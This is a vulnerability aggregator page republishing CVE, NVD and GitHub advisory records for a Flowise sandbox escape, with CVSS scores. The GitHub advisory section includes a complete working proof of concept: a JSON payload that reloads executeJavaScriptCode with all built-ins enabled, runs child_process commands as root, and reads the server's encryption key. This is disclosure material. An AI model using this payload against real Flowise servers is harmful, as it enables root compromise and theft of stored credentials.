Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 15:28:49 UTC

Source modified

4 Aug 2026 17:45:10 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 16:16:29 UTC

Source modified

23 Oct 2026 23:10:00 UTC

Observed here

25 Oct 2026 15:18:51 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### Summary A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`. ### Details The vulnerability is in `packages/components/src/utils.ts` at line 1755: ```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required: async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } ``` The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process. **Taint 01: Route Registration** `packages/server/src/routes/node-custom-functions/index.ts` (line 8) **Taint 02: Controller** `executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90) **Taint 03: Service** `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49) **Taint 04: Sandbox Entry** Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760) **Taint 05: Escape** Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself **Taint 06: Override** The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: ["*"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }` **Taint 07: RCE** Inside the nested VM, `require("child_process")` succeeds. Arbitrary commands execute as root. ### PoC **Step 1: Start Flowise** ```bash docker run -d --name flowise-poc -p 3000:3000 \ -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \ flowiseai/flowise:latest # Wait ~30s for startup curl http://localhost:3000/api/v1/version # {"version":"3.1.1"} ``` **Step 2: Obtain Bearer Token** Register an account, then create an API key: ```bash # Register curl -s -X POST http://localhost:3000/api/v1/account/register \ -H "Content-Type: application/json" \ -d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}' # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) # Copy the key — this is the Bearer token used below. ``` **Step 3: Create Payload** ```bash cat > exploit.json << 'EOF' { "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\"); return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })" } EOF ``` **Step 4: Exploit** ```bash # Pre-check: file does not exist docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # ls: /tmp/RCE-PROOF.txt: No such file or directory # Execute curl -X POST http://localhost:3000/api/v1/node-custom-function \ -H "Content-Type: application/json" \ -H "Authorization: Bearer <TOKEN>" \ -d @exploit.json # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n" docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt docker exec flowise-poc cat /tmp/RCE-PROOF.txt # uid=0(root) gid=0(root) groups=0(root)... docker exec flowise-poc cat /root/.flowise/encryption.key # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb ``` <img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" /> ### Impact Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Source published

4 Aug 2026 15:29:12 UTC

Source modified

4 Aug 2026 15:56:02 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Publisher rating · CRITICAL